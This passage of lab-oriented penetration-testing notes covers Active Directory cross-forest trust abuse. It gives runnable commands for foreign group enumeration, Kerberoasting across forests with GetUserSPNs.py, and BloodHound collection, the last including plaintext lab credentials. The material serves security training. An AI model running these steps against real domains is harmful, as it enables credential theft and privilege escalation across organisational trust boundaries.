Also consider group memberships - admins in one domain may also be part of an admin group in another domain, due to Domain Local Groups allowing principals outside its forest.
- We can enumerate groups with such users using
Get-DomainForeignGroupMember
, to check for foreign group membership.Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Then, convert member SID to its name usingConvert-SidToName
SID History can also be abused across forest trusts. If SID filtering is not implemented, suppose that user with administrative privileges in one domain is migrated to another trusted domain.
- This user retains their administrative privileges in the previous domain.
Cross-Forest Trust Abuse from Linux
Kerberoasting
Likewise, we can use GetUserSPNs.py
for this. We need to specify the -target-domain
option for our targeted, cross-forest domain.
- Enumeration:
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
- Ticket generation:
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
. We can use-outputfile
as well, to pipe output to a hash file for cracking.
To check for foreign group membership, we can use bloodhound-python
to collect data, then ingest it into the GUI for analysis.
- Firstly, add the DNS entry for the domain into
/etc/resolv.conf
:
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5
- Then, run the tool:
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
. Compress thejson
files into azip
archive:zip -r ilfreight_bh.zip *.json
- Repeat this process for domains in other forests:
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2
- In BloodHound, click on
Users with Foreign Domain Group Membership
under theAnalysis
tab, and select the source domain as our domain of interest.
AD Auditing Tools
AD Explorer - GUI tool to explore the AD configuration.
PingCastle
- tool to evaluate security posture of AD environment, with results in maps and graphs.
group3r.exe
- tool to find AD GPO vulnerabilities.
ADRecon
- PowerShell tool to enumerate AD.